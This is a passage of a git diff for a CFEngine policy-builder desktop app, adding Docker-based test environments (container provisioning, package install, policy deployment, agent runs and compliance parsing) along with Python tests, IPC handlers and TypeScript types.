urllib.request.urlopen(url, timeout=HTTP_TIMEOUT) as response: - return json.load(response) + data = json.load(response) except (OSError, ValueError) as error: + if cached and cached.is_file(): + return json.loads(cached.read_text()) raise RunnerError(f"Couldn't read {url}: {error}") from error + if cached: + cached.parent.mkdir(parents=True, exist_ok=True) + cached.write_text(json.dumps(data)) + return data def _matches(classexpr: str, platform: str, arch: str) -> bool: @@ -193,6 +231,9 @@ def find_package(releases: dict, detail_of, edition: str, version: str, platform for items in detail.get("artifacts", {}).values(): for item in items: expr = item.get("classexpr", "") + # Unpublished: built, but not supported (e.g. Ubuntu 20.04 hubs, Debian 11). + if item.get("Published") is False: + continue if edition == "enterprise" and expr.startswith("am_policy_hub.") != hub: continue if _matches(expr, platform, arch): @@ -221,3 +262,399 @@ def package(query: dict) -> dict: query.get("arch", "x86_64"), bool(query.get("hub")), ) + + +# --- environments ----------------------------------------------------------- +# +# An environment (the tab's, saved in .policy-builder/test-environments.json): +# {id, name, edition: "community"|"enterprise", version: "latest"|"3.27.1", hub: , +# env: {KEY: value}, hosts: [{id, name, platform, ports: [{host, container}], env: {KEY: value}}]} +# Every container and the network carry labels (cfpb.env, cfpb.host), so state is found again +# from Docker itself after the app restarts. + +LABEL_ENV, LABEL_HOST, LABEL_CONFIG = "cfpb.env", "cfpb.host", "cfpb.config" +CFENGINE = "/var/cfengine/bin" +MAX_RUNS = 3 +# promise_summary.log, one line per agent run (update.cf runs get their own). Community: +# "... Promises observed to be kept 97.44%, Promises repaired 2.56%, Promises not repaired 0.00%"; +# Enterprise: "... Total promise compliance: 98% kept, 2% repaired, 1% not kept (out of 340 events) ...". +COMPLIANCE = ( + re.compile(r"kept ([\d.]+)%, Promises repaired ([\d.]+)%, Promises not repaired ([\d.]+)%"), + re.compile(r"Total promise compliance: ([\d.]+)% kept, ([\d.]+)% repaired, ([\d.]+)% not kept"), +) + + +def _short(env_id: str) -> str: + return re.sub(r"[^a-z0-9]", "", env_id.lower())[:8] or "env" + + +def _slug(name: str) -> str: + return re.sub(r"[^a-z0-9]+", "-", name.lower()).strip("-") or "host" + + +def container_name(env: dict, host: dict) -> str: + return f"cfpb-{_short(env['id'])}-{_slug(host['name'])}" + + +def network_name(env: dict) -> str: + return f"cfpb-{_short(env['id'])}" + + +def host_env(env: dict, host: dict, dotenv: dict[str, str]) -> dict[str, str]: + """Environment variables for a host: its own beat the environment's, which beat .env.""" + return {**dotenv, **(env.get("env") or {}), **(host.get("env") or {})} + + +def read_dotenv(path: str | None) -> dict[str, str]: + """`KEY=value` lines (`#` comments, `export ` prefix and surrounding quotes allowed). A missing file is empty.""" + if not path or not os.path.isfile(path): + return {} + values = {} + for raw in Path(path).read_text(encoding="utf-8").splitlines(): + line = raw.strip() + if not line or line.startswith("#") or "=" not in line: + continue + key, value = line.removeprefix("export ").split("=", 1) + value = value.strip() + if len(value) >= 2 and value[0] == value[-1] and value[0] in "'\"": + value = value[1:-1] + values[key.strip()] = value + return values + + +class _Lines: + """Turns streamed output chunks into whole lines, emitted as `log` events.""" + + def __init__(self, host: str | None, stream: str): + self.host, self.stream, self.partial = host, stream, "" + + def feed(self, chunk: bytes | str | None) -> None: + if not chunk: + return + text = self.partial + (chunk.decode("utf-8", "replace") if isinstance(chunk, bytes) else chunk) + *lines, self.partial = text.split("\n") + for line in lines: + emit("log", host=self.host, stream=self.stream, line=line.rstrip("\r")) + + def close(self) -> None: + if self.partial: + emit("log", host=self.host, stream=self.stream, line=self.partial) + self.partial = "" + + +def run_in(engine, container, command: str, host: str | None, stream: str, environment: dict | None = None) -> int: + """Runs a shell command in a container, streaming its output; returns its exit code.""" + exec_id = engine.api.exec_create(container.id, ["bash", "-lc", command], environment=environment or None)["Id"] + lines = _Lines(host, stream) + for out, err in engine.api.exec_start(exec_id, stream=True, demux=True): + lines.feed(out) + lines.feed(err) + lines.close() + return engine.api.exec_inspect(exec_id)["ExitCode"] + + +def _check(code: int, what: str) -> None: + if code != 0: + raise RunnerError(f"{what} failed (exit {code})") + + +def _has_image(engine, image: str, arch: str) -> bool: + """Whether `image` is pulled for `arch` (a tag holds one architecture at a time).""" + try: + return engine.images.get(image).attrs.get("Architecture") == DOCKER_ARCH[arch] + except Exception: # docker.errors.ImageNotFound + return False + + +def ensure_image(engine, platform: str, edition: str, version: str, hub: bool, arch: str) -> str: + """A local image with CFEngine installed (built once per platform, edition, role, version and arch).""" + if platform not in PLATFORMS: + raise RunnerError(f"Unknown platform: {platform}") + role = "hub" if edition == "enterprise" and hub else "agent" + spec = PLATFORMS[platform] + found = package({"edition": edition, "version": version, "platform": platform, "arch": arch, "hub": hub}) + repository, tag = f"cfpb-cache/{platform}", f"{edition}-{role}-{found['version']}-{DOCKER_ARCH[arch]}" + if _has_image(engine, f"{repository}:{tag}", arch): + return f"{repository}:{tag}" + label = f"{spec['label']} ({arch}) with CFEngine {edition} {found['version']} ({role})" + emit("step", step="image", message=f"Preparing {label}") + if not _has_image(engine, spec["image"], arch): + pull(spec["image"], arch) + builder = engine.containers.run( + spec["image"], + "sleep infinity", + detach=True, + init=True, + labels={"cfpb.build": "1"}, + platform=DOCKER_PLATFORM[arch], + ) + try: + prerequisites, install = INSTALL[spec["family"]] + _check(run_in(engine, builder, prerequisites, None, "setup"), "Installing prerequisites") + file = f"/tmp/{found['filename']}" + command = f"curl -fsSL -o {file} {found['url']} && {install.format(file=file)} && rm {file}" + _check(run_in(engine, builder, command, None, "setup"), "Installing CFEngine") + builder.commit(repository=repository, tag=tag) + finally: + builder.remove(force=True) + return f"{repository}:{tag}" + + +def platforms(query: dict) -> dict: + """Every platform, and whether this edition + version has a client / hub package for `arch`.""" + edition, version = query.get("edition", "community"), query.get("version", "latest") + arch = query.get("arch", "x86_64") + releases = _fetch_json(RELEASES.format(edition=edition)) + cache: dict[str, dict] = {} + + def detail_of(url: str) -> dict: + if url not in cache: + cache[url] = _fetch_json(url) + return cache[url] + + def has(platform: str, hub: bool) -> bool: + try: + find_package(releases, detail_of, edition, version, platform, arch, hub) + return True + except RunnerError: + return False + + listed = [ + # In Community any host can serve policy; an Enterprise hub needs the hub package. + {"id": key, "label": spec["label"], "client": has(spec["package"], False), "hub": has(spec["package"], True)} + for key, spec in PLATFORMS.items() + ] + return {"platforms": listed} + + +def _labelled(engine, env: dict) -> dict: + """The environment's containers by host id.""" + found = engine.containers.list(all=True, filters={"label": f"{LABEL_ENV}={env['id']}"}) + return {container.labels.get(LABEL_HOST): container for container in found} + + +def _network(engine, env: dict): + name = network_name(env) + existing = engine.networks.list(names=[name]) + return existing[0] if existing else engine.networks.create(name, labels={LABEL_ENV: env["id"]}) + + +def _config_hash(image: str, host: dict) -> str: + """What a container is created with that can't change afterwards: image, name and ports.""" + ports = sorted((int(p["host"]), int(p["container"])) for p in host.get("ports") or []) + return hashlib.sha256(json.dumps([image, host["name"], ports]).encode()).hexdigest()[:16] + + +def _ensure_container(engine, env: dict, host: dict, image: str, environment: dict): + existing = _labelled(engine, env).get(host["id"]) + config = _config_hash(image, host) + if existing is not None and existing.labels.get(LABEL_CONFIG) != config: + emit("step", host=host["id"], step="recreate", message="Recreating (image, name or ports changed)") + existing.remove(force=True) + existing = None + if existing is not None: + if existing.status != "running": + existing.start() + return existing + emit("step", host=host["id"], step="create", message=f"Creating {container_name(env, host)}") + return engine.containers.run( + image, + "sleep infinity", + name=container_name(env, host), + hostname=_slug(host["name"]), + detach=True, + init=True, # reaps zombies (an Enterprise hub leaves defunct httpd / php-fpm otherwise) + network=network_name(env), + platform=DOCKER_PLATFORM.get(env.get("arch") or "x86_64"), + ports={f"{int(p['container'])}/tcp": int(p["host"]) for p in host.get("ports") or []}, + environment=environment, + labels={LABEL_ENV: env["id"], LABEL_HOST: host["id"], LABEL_CONFIG: config}, + ) + + +def _ip(engine, container, env: dict) -> str: + container.reload() + return container.attrs["NetworkSettings"]["Networks"][network_name(env)]["IPAddress"] + + +def _deploy(engine, hub, masterfiles: str) -> None: + """Replaces the hub's /var/cfengine/masterfiles with the built policy set.""" + import io + import tarfile + + buffer = io.BytesIO() + with tarfile.open(fileobj=buffer, mode="w") as archive: + archive.add(masterfiles, arcname="masterfiles") + _check(run_in(engine, hub, "rm -rf /var/cfengine/masterfiles", None, "setup"), "Clearing masterfiles") + if not hub.put_archive("/var/cfengine", buffer.getvalue()): + raise RunnerError("Couldn't copy the policy to the hub") + + +def build_policy(content: dict, masterfiles: str, cache_dir: str) -> str: + """Builds the project as a policy set (cfbs) in a scratch copy; returns its out/masterfiles. + One pristine `cfbs init` per masterfiles version is kept, so a rebuild needs no network.""" + import cfbs.main + from cfbs.cfbs_config import CFBSConfig + + import cfpb_backend + + base = os.path.join(cache_dir, "masterfiles", masterfiles) + if not os.path.isfile(os.path.join(base, "cfbs.json")): + emit("step", step="build", message=f"Downloading masterfiles {masterfiles}") + shutil.rmtree(base, ignore_errors=True) + os.makedirs(base) + cfpb_backend._run_cfbs_init(base, masterfiles) + work = os.path.join(cache_dir, "build") + shutil.rmtree(work, ignore_errors=True) + shutil.copytree(base, work) + options = {"type": "policy-set", "name": "test", "description": "Test build", "git": False, "content": content} + cfpb_backend._update_cfbs_json(work, options) + emit("step", step="build", message="Building the policy set") + CFBSConfig.instance = None + with cfpb_backend._cfbs_session(work, ["build"]) as tee: + code = cfbs.main.main() + for line in "".join(tee.chunks).splitlines(): + emit("log", host=None, stream="setup", line=line) + if code != 0: + raise RunnerError(f"cfbs build failed (exit {code})") + return os.path.join(work, "out", "masterfiles") + + +def _bootstrapped(engine, container) -> bool: + return run_in(engine, container, "test -s /var/cfengine/policy_server.dat", None, "quiet") == 0 + + +def up(request: dict) -> None: + """Start: build the policy, make sure every host's container exists and runs CFEngine, deploy + the policy to the hub and bootstrap everyone to it.""" + env, engine = request["environment"], client() + hosts = env.get("hosts") or [] + hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) + if hub_host is None: + raise RunnerError("The environment has no hosts") + # x86-64 by default, also on Apple Silicon (emulated there): the widest set of packages. + arch = env.get("arch") or "x86_64" + edition, version = env.get("edition", "community"), env.get("version", "latest") + masterfiles_dir = build_policy(request["content"], request["masterfiles"], request["cacheDir"]) + dotenv = read_dotenv(request.get("envFile")) + _network(engine, env) + containers = {} + for host in sorted(hosts, key=lambda h: h is not hub_host): + emit("host", host=host["id"], state="provisioning") + image = ensure_image(engine, host["platform"], edition, version, host is hub_host, arch) + containers[host["id"]] = _ensure_container(engine, env, host, image, host_env(env, host, dotenv)) + hub = containers[hub_host["id"]] + _deploy(engine, hub, masterfiles_dir) + hub_ip = _ip(engine, hub, env) + for host in sorted(hosts, key=lambda h: h is not hub_host): + container = containers[host["id"]] + if not _bootstrapped(engine, container): + emit("step", host=host["id"], step="bootstrap", message=f"Bootstrapping to {hub_ip}") + environment = host_env(env, host, dotenv) + _check( + run_in( + engine, container, f"{CFENGINE}/cf-agent --bootstrap {hub_ip}", host["id"], "setup", environment + ), + "Bootstrap", + ) + emit("host", host=host["id"], state="ready", container=container.name) + if edition == "enterprise": + _setup_code(engine, hub, hub_host) + emit("done") + + +def _setup_code(engine, hub, hub_host: dict) -> None: + """A fresh Mission Portal first-login code (it expires after an hour).""" + exec_id = engine.api.exec_create(hub.id, [f"{CFENGINE}/cf-hub", "--new-setup-code"])["Id"] + output = engine.api.exec_start(exec_id).decode("utf-8", "replace") + code = re.search(r"\b(\d{4,})\b", output) + port = next((int(p["host"]) for p in hub_host.get("ports") or [] if int(p["container"]) == 443), None) + emit( + "hub", + host=hub_host["id"], + setup_code=code.group(1) if code else None, + url=f"https://localhost:{port}/" if port else None, + ) + + +def _compliance(engine, container) -> dict | None: + command = "grep -v 'version update.cf' /var/cfengine/promise_summary.log | tail -n 1" + exec_id = engine.api.exec_create(container.id, ["bash", "-c", command])["Id"] + line = engine.api.exec_start(exec_id).decode("utf-8", "replace") + match = next((m for m in (pattern.search(line) for pattern in COMPLIANCE) if m), None) + if not match: + return None + kept, repaired, not_kept = (float(g) for g in match.groups()) + return {"kept": kept, "repaired": repaired, "notKept": not_kept} + + +def run(request: dict) -> None: + """Run policy: rebuild and redeploy the current edits, then run the agent on every host (hub + first) until a run repairs nothing, at most MAX_RUNS times.""" + env, engine = request["environment"], client() + hosts = env.get("hosts") or [] + hub_host = next((h for h in hosts if h["id"] == env.get("hub")), hosts[0] if hosts else None) + containers = _labelled(engine, env) + missing = [h["name"] for h in hosts if h["id"] not in containers or containers[h["id"]].status != "running"] + if hub_host is None or missing: + raise RunnerError(f"Start the environment first ({', '.join(missing) or 'no hosts'} not running)") + masterfiles_dir = build_policy(request["content"], request["masterfiles"], request["cacheDir"]) + _deploy(engine, containers[hub_host["id"]], masterfiles_dir) + dotenv = read_dotenv(request.get("envFile")) + only = set(request.get("hosts") or [h["id"] for h in hosts]) + for host in sorted(hosts, key=lambda h: h is not hub_host): + if host["id"] not in only: + continue + container, environment = containers[host["id"]], host_env(env, host, dotenv) + emit("host", host=host["id"], state="running") + result = None + for number in range(1, MAX_RUNS + 1): + emit("step", host=host["id"], step="run", message=f"Run {number}") + run_in(engine, container, f"{CFENGINE}/cf-agent -KI -f update.cf", host["id"], "agent", environment) + code = run_in(engine, container, f"{CFENGINE}/cf-agent -KI", host["id"], "agent", environment) + result = {**(_compliance(engine, container) or {}), "exit": code, "run": number} + emit("result", host=host["id"], **result) + if code != 0 or result.get("repaired", 0) == 0: + break + # Done unless the agent itself failed; still repairing after MAX_RUNS is "not converged" (an + # Enterprise hub repairs a little on every run). + converged = bool(result) and result["exit"] == 0 and result.get("repaired", 1) == 0 + failed = not result or result["exit"] != 0 + emit("host", host=host["id"], state="failed" if failed else "done", converged=converged) + emit("done") + + +def status(request: dict) -> dict: + """Each host's container, as Docker sees it (found by label).""" + env, engine = request["environment"], client() + containers = _labelled(engine, env) + hosts = {} + for host in env.get("hosts") or []: + container = containers.get(host["id"]) + hosts[host["id"]] = ( + {"state": container.status, "container": container.name} if container else {"state": "absent"} + ) + return {"hosts": hosts} + + +def stop(request: dict) -> None: + for container in _labelled(client(), request["environment"]).values(): + emit("step", step="stop", message=f"Stopping {container.name}") + container.stop(timeout=5) + emit("done") + + +def destroy(request: dict) -> None: + """Removes the environment's containers (or only `hosts`) and, when all go, its network.""" + env, engine = request["environment"], client() + only = set(request.get("hosts") or []) + for host_id, container in _labelled(engine, env).items(): + if only and host_id not in only: + continue + emit("step", host=host_id, step="destroy", message=f"Removing {container.name}") + container.remove(force=True) + emit("host", host=host_id, state="absent") + if not only: + for network in engine.networks.list(names=[network_name(env)]): + network.remove() + emit("done") diff --git a/python/tests/test_testenv.py b/python/tests/test_testenv.py index 3c39fb4..b3f606d 100644 --- a/python/tests/test_testenv.py +++ b/python/tests/test_testenv.py @@ -87,3 +87,48 @@ def test_a_platform_without_a_package_says_so(): def test_nightly_builds_are_never_picked(): with pytest.raises(RunnerError, match="No CFEngine enterprise release master"): _find(version="master") + + +def test_unpublished_packages_are_not_offered(): + with pytest.raises(RunnerError, match="No CFEngine enterprise hub 3.27.1 package for ubuntu_20"): + _find(platform="ubuntu_20", hub=True) + assert _find(platform="ubuntu_20")["filename"] == "cfengine-nova_3.27.1-1.ubuntu20_amd64.deb" + + +def test_release_data_falls_back_to_the_cached_copy_when_offline(tmp_path: Path, monkeypatch): + monkeypatch.setattr(cfpb_testenv, "CACHE_DIR", str(tmp_path)) + + class Response: + def __enter__(self): + return self + + def __exit__(self, *args): + return False + + def read(self, *args): + return b'{"releases": []}' + + monkeypatch.setattr(cfpb_testenv.urllib.request, "urlopen", lambda url, timeout: Response()) + assert cfpb_testenv._fetch_json("https://example.test/releases.json") == {"releases": []} + + def offline(url, timeout): + raise OSError("timed out") + + monkeypatch.setattr(cfpb_testenv.urllib.request, "urlopen", offline) + assert cfpb_testenv._fetch_json("https://example.test/releases.json") == {"releases": []} + with pytest.raises(RunnerError, match="Couldn't read https://example.test/other.json"): + cfpb_testenv._fetch_json("https://example.test/other.json") + + +def test_platforms_say_which_have_client_and_hub_packages(monkeypatch): + releases = json.loads((RELEASES / "enterprise-releases.json").read_text()) + detail = json.loads((RELEASES / "enterprise-3.27.1.json").read_text()) + monkeypatch.setattr(cfpb_testenv, "_fetch_json", lambda url: releases if url.endswith("releases.json") else detail) + + found = cfpb_testenv.platforms({"edition": "enterprise", "version": "3.27.1", "arch": "x86_64"})["platforms"] + support = {p["id"]: (p["client"], p["hub"]) for p in found} + + assert support["ubuntu-22"] == (True, True) + assert support["ubuntu-20"] == (True, False) + assert support["rhel-7"] == (True, False) + assert support["rhel-9"] == (True, True) diff --git a/src/main/backend.ts b/src/main/backend.ts index 066cdfb..28c8e5f 100644 --- a/src/main/backend.ts +++ b/src/main/backend.ts @@ -143,8 +143,8 @@ export function startSidecarStream(args: string[], input: string, onEvent: (even }; } -/** A one-shot test-environment query (`testenv doctor|images|package`), resolving with its JSON answer. */ -export async function testEnvQuery(action: 'doctor' | 'images' | 'package', input: unknown = {}): Promise { +/** A one-shot test-environment query (`testenv doctor|images|package|status`), resolving with its JSON answer. */ +export async function testEnvQuery(action: 'doctor' | 'images' | 'package' | 'platforms' | 'status', input: unknown = {}): Promise { const result = await runSidecar(['testenv', action], JSON.stringify(input), TESTENV_TIMEOUT_MS); logStderr(result.stderr); if (result.code !== 0) throw sidecarError(result, TESTENV_TIMEOUT_MS); diff --git a/src/main/project.ts b/src/main/project.ts index 71ac466..751858b 100644 --- a/src/main/project.ts +++ b/src/main/project.ts @@ -23,6 +23,7 @@ import { compilePolicy, initCfbsProject, masterfilesEntry } from './backend'; // The builder's own data, next to cfbs.json (which stays plain cfbs). const BUILDER_FILE = '.policy-builder/project.json'; +const TEST_ENVIRONMENTS_FILE = '.policy-builder/test-environments.json'; // Where projects saved before .policy-builder/ kept it: cfbs.json's meta["policy-builder"]. const LEGACY_META_KEY = 'policy-builder'; const VERSIONS_URL = 'https://raw.githubusercontent.com/cfengine/build-index/master/versions.json'; @@ -155,6 +156,9 @@ function checkedContent(value: unknown): ProjectContent { names.every(name => typeof name === 'string' && modules.has(name)) && content.modules.every(module => isRecord(module) && Array.isArray(module.steps)); if (!ok) throw new InvalidRequest('Invalid policy module'); + if (content.testEnvironments !== undefined && !(Array.isArray(content.testEnvironments) && content.testEnvironments.every(isRecord))) { + throw new InvalidRequest('Invalid test environments'); + } if (JSON.stringify(content).length > MAX_CONTENT_BYTES) throw new InvalidRequest('Project is too large'); return content as ProjectContent; } @@ -361,6 +365,7 @@ async function writeProjectContent(projectPath: string, content: ProjectContent, const saved = withGenerated(stamped(content), generated, storage.type); await fs.mkdir(dirname(join(projectPath, BUILDER_FILE)), { recursive: true }); await writeFileAtomic(join(projectPath, BUILDER_FILE), `${JSON.stringify(saved.project, null, 2)}\n`); + await writeTestEnvironments(projectPath, content.testEnvironments); const merged = mergeCfbsJson(existing, saved, previous, storage.type, generated, masterfiles); await writeFileAtomic(cfbsPath, `${JSON.stringify(merged, null, 2)}\n`); const entry = (Array.isArray(merged.build) ? merged.build : []).find(item => isRecord(item) && item.name === 'masterfiles') as @@ -369,6 +374,22 @@ async function writeProjectContent(projectPath: string, content: ProjectContent, return { masterfiles: version }; } +// The project's test environments (the Test Results & Logs tab); no file when there are none. +async function writeTestEnvironments(projectPath: string, environments: object[] | undefined): Promise { + const path = join(projectPath, TEST_ENVIRONMENTS_FILE); + if (!environments?.length) return fs.rm(path, { force: true }); + await fs.mkdir(dirname(path), { recursive: true }); + await writeFileAtomic(path, `${JSON.stringify({ environments }, null, 2)}\n`); +} + +async function readTestEnvironments(folder: string): Promise { + const parsed: unknown = await fs + .readFile(join(folder, TEST_ENVIRONMENTS_FILE), 'utf-8') + .then(text => JSON.parse(text)) + .catch(() => null); + return isRecord(parsed) && Array.isArray(parsed.environments) ? parsed.environments : null; +} + const failure = (error: unknown): OperationResult => ({ ok: false, message: error instanceof Error ? error.message : String(error), @@ -471,9 +492,10 @@ async function openProject(event: IpcMainInvokeEvent, request: { path?: unknown const path = await projectFolderOf(resolve(picked)); const cfbs = await readCfbsJson(path); const builder = await readBuilderProject(path, cfbs); + const testEnvironments = await readTestEnvironments(path); knownProjects.add(path); await rememberRecent(path, typeof cfbs.name === 'string' && cfbs.name.trim() ? cfbs.name.trim() : basename(path)); - return { ok: true as const, builder, cfbs, path }; + return { ok: true as const, builder, cfbs, path, testEnvironments }; } async function createProject(request: CreateProjectRequest) { @@ -483,7 +505,9 @@ async function createProject(request: CreateProjectRequest) { const description = checkedString(request.description, 'description', 500); if (typeof request.git !== 'boolean') throw new InvalidRequest('Invalid git option'); if (typeof request.masterfiles !== 'string' || !MASTERFILES.test(request.masterfiles)) throw new InvalidRequest('Invalid masterfiles version'); - const content = stamped(checkedContent({ project: request.project, modules: request.modules, provided: request.provided })); + const content = stamped( + checkedContent({ project: request.project, modules: request.modules, provided: request.provided, testEnvironments: request.testEnvironments }) + ); const type = checkedStorage({ type: request.type, masterfiles: null }).type; const check = await checkTarget(parent, folderName); if (!check.parentWritable) throw new InvalidRequest(`Can't write to ${parent}`); @@ -499,6 +523,7 @@ async function createProject(request: CreateProjectRequest) { name, type }); + await writeTestEnvironments(result.path, content.testEnvironments); knownProjects.add(result.path); await writeSettings({ lastProjectParent: parent }).catch(error => console.error(`[project] settings not saved: ${error}`)); await rememberRecent(result.path, name); diff --git a/src/main/testenv.ts b/src/main/testenv.ts index e166ad6..e7c8c02 100644 --- a/src/main/testenv.ts +++ b/src/main/testenv.ts @@ -1,4 +1,5 @@ import { type IpcMainInvokeEvent, type WebFrameMain, app, ipcMain } from 'electron'; +import { isAbsolute, join } from 'path'; import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend'; @@ -9,8 +10,26 @@ import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend' */ const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); +// The streaming actions: pulling a base image, and an environment's Start / Run / Stop / Destroy. +const STREAMING = new Set(['pull', 'up', 'run', 'stop', 'destroy']); const runs = new Map(); +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +// What the sidecar gets: the renderer's request, checked, plus where builds and masterfiles are cached. +function sidecarRequest(action: string, request: unknown): Record { + if (!isRecord(request)) throw new Error('The request must be an object'); + if (action === 'pull') { + if (typeof request.image !== 'string' || !BASE_IMAGES.has(request.image)) throw new Error('Not a supported base image'); + return { image: request.image }; + } + if (!isRecord(request.environment)) throw new Error('The request needs an environment'); + if (request.envFile !== undefined && request.envFile !== null && (typeof request.envFile !== 'string' || !isAbsolute(request.envFile))) { + throw new Error('envFile must be an absolute path'); + } + return { ...request, cacheDir: join(app.getPath('userData'), 'testenv') }; +} + export function registerTestEnvHandlers(isTrustedFrame: (frame: WebFrameMain | null) => boolean): void { const trusted = (handler: (event: IpcMainInvokeEvent, ...args: A) => R) => @@ -28,15 +47,28 @@ export function registerTestEnvHandlers(isTrustedFrame: (frame: WebFrameMain | n trusted(() => testEnvQuery('images')) ); ipcMain.handle( - 'testenv:pull', - trusted((event, image: unknown) => { - if (typeof image !== 'string' || !BASE_IMAGES.has(image)) throw new Error('Not a supported base image'); + 'testenv:platforms', + trusted((_event, query: unknown) => { + if (!isRecord(query) || ![query.arch, query.edition, query.version].every(value => typeof value === 'string')) throw new Error('Invalid platforms query'); + const { arch, edition, version } = query; + return testEnvQuery('platforms', { arch, edition, version, cacheDir: join(app.getPath('userData'), 'testenv') }); + }) + ); + ipcMain.handle( + 'testenv:status', + trusted((_event, request: unknown) => testEnvQuery('status', sidecarRequest('status', request))) + ); + ipcMain.handle( + 'testenv:start', + trusted((event, action: unknown, request: unknown) => { + if (typeof action !== 'string' || !STREAMING.has(action)) throw new Error('Unknown test environment action'); + const payload = sidecarRequest(action, request); const runId = crypto.randomUUID(); const sender = event.sender; const send = (payload: Record) => { if (!sender.isDestroyed()) sender.send('testenv:event', runId, payload); }; - const stream = startSidecarStream(['testenv', 'pull'], JSON.stringify({ image }), send); + const stream = startSidecarStream(['testenv', action], JSON.stringify(payload), send); runs.set(runId, stream); void stream.done.then(result => { runs.delete(runId); diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 0109e5d..c32bd93 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -15,6 +15,8 @@ export interface ProjectContent { modules: object[]; project: object; provided: object; + // .policy-builder/test-environments.json (the file is removed when there are none). + testEnvironments?: object[]; } export type ProjectType = 'module' | 'policy-set'; @@ -37,10 +39,50 @@ export interface BaseImage { present: boolean; } +// A test host: one container. `ports` are published host:container (TCP). +export interface TestHost { + env: Record; + id: string; + name: string; + platform: string; + ports: { container: number; host: number }[]; +} + +// A test environment (.policy-builder/test-environments.json): hosts, which one is the hub, the +// CFEngine edition and version they run, and environment variables (plus an optional .env file). +export interface TestEnvironment { + arch: 'aarch64' | 'x86_64'; + edition: 'community' | 'enterprise'; + env: Record; + // Relative to the project folder, e.g. "./.env"; its values are read at run time. + envFile: string | null; + hosts: TestHost[]; + hub: string; + id: string; + name: string; + // "latest" or an exact release, e.g. "3.27.1". + version: string; +} + +// What Start / Run / Stop / Destroy get: the environment and the project to build and deploy. +export interface TestEnvRequest { + content?: ProjectContent; + // The .env file's absolute path (absent for an unsaved project). + envFile?: string | null; + environment: TestEnvironment; + // Run / Destroy only these hosts (default: all). + hosts?: string[]; + masterfiles?: string; +} + // One event of a streaming test-environment run; `exit` always comes last. export type TestEnvEvent = | { current: number; t: 'progress'; total: number } - | { line: string; t: 'log' } + | { host?: string | null; line: string; stream?: string; t: 'log' } + | { host?: string; message: string; step: string; t: 'step' } + | { container?: string; converged?: boolean; host: string; state: string; t: 'host' } + | { exit: number; host: string; kept?: number; notKept?: number; repaired?: number; run: number; t: 'result' } + | { host: string; setup_code: string | null; t: 'hub'; url: string | null } | { t: 'done' } | { message: string; t: 'error' } | { message?: string; ok: boolean; t: 'exit' }; @@ -83,6 +125,8 @@ export interface OpenedProject { // The parsed cfbs.json. cfbs: Record; path: string; + // The parsed .policy-builder/test-environments.json's environments, null without. + testEnvironments: unknown[] | null; } export interface RecentProject { @@ -149,8 +193,16 @@ declare global { testEnvDoctor: () => Promise; /** The base images test hosts run, and which are pulled. */ testEnvImages: () => Promise<{ platforms: BaseImage[] }>; - /** Starts pulling a base image; resolves with the run id its events (onTestEnvEvent) carry. */ - testEnvPull: (image: string) => Promise; + /** Which platforms have a client / hub package for an edition, version and architecture. */ + testEnvPlatforms: (query: { + arch: string; + edition: string; + version: string; + }) => Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }>; + /** Starts a streaming action (pull a base image; an environment's up / run / stop / destroy); resolves with the run id its events (onTestEnvEvent) carry. */ + testEnvStart: (action: 'destroy' | 'pull' | 'run' | 'stop' | 'up', request: TestEnvRequest | { image: string }) => Promise; + /** Each host's container as Docker sees it: running, exited, absent… */ + testEnvStatus: (request: TestEnvRequest) => Promise<{ hosts: Record }>; }; } } diff --git a/src/preload/index.ts b/src/preload/index.ts index 9893624..ec54f32 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -12,7 +12,8 @@ import type { ProjectStorage, RecentProject, TargetCheck, - TestEnvEvent + TestEnvEvent, + TestEnvRequest } from './api'; // Everything the renderer can ask the main process to do goes through this @@ -81,7 +82,14 @@ const api = { onTestEnvEvent, testEnvDoctor: (): Promise => invoke('testenv:doctor'), testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), - testEnvPull: (image: string): Promise => invoke('testenv:pull', image), + testEnvStart: (action: 'destroy' | 'pull' | 'run' | 'stop' | 'up', request: TestEnvRequest | { image: string }): Promise => + invoke('testenv:start', action, request), + testEnvPlatforms: (query: { + arch: string; + edition: string; + version: string; + }): Promise<{ platforms: { client: boolean; hub: boolean; id: string; label: string }[] }> => invoke('testenv:platforms', query), + testEnvStatus: (request: TestEnvRequest): Promise<{ hosts: Record }> => invoke('testenv:status', request), cancelTestEnvRun: (runId: string): Promise => invoke('testenv:cancel', runId), /** Sets the window title (null: no project) and the unsaved-changes state. */ diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx index 2e217e7..ed097fd 100644 --- a/src/renderer/src/components/TestResultsView.tsx +++ b/src/renderer/src/components/TestResultsView.tsx @@ -1,166 +1,292 @@ -import { useCallback, useEffect, useState } from 'react'; +import { type ReactNode, useEffect, useState } from 'react'; +import AddIcon from '@mui/icons-material/Add'; import CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutlined'; import WarningAmberIcon from '@mui/icons-material/WarningAmber'; -import { Box, Button, Chip, LinearProgress, Paper, Stack, Typography } from '@mui/material'; +import { Box, Button, LinearProgress, MenuItem, Stack, TextField, Typography } from '@mui/material'; + +import { toCfbsProject } from '../project/cfbsProject'; +import { cancelAction, clearLog, refreshStatus, startAction, useEnvironmentRuntime } from '../project/testRuns'; +import { store, useAppDispatch, useAppSelector } from '../store'; +import { selectCurrentProject } from '../store/projectSlice/selectors'; +import { + envVarsChanged, + environmentAdded, + environmentChanged, + hostAdded, + hostChanged, + hostRemoved, + hostRenamed, + hubChanged, + newEnvironment +} from '../store/testEnvironmentsSlice'; +import type { PlatformSupport, TestEnvironment } from '../store/testEnvironmentsSlice/types'; +import { useMasterfilesVersions } from './dialogs/NewProjectDialog'; +import { EnvVarsField } from './testenv/EnvVarsField'; +import { HostCard } from './testenv/HostCard'; +import { LogPane } from './testenv/LogPane'; type Api = NonNullable; type DockerStatus = Awaited>; -type BaseImage = Awaited>['platforms'][number]; -type TestEnvEvent = Parameters[0]>[1]; -interface Pull { - current: number; - error?: string; - line?: string; - runId: string; - total: number; -} +const BUSY_LABEL 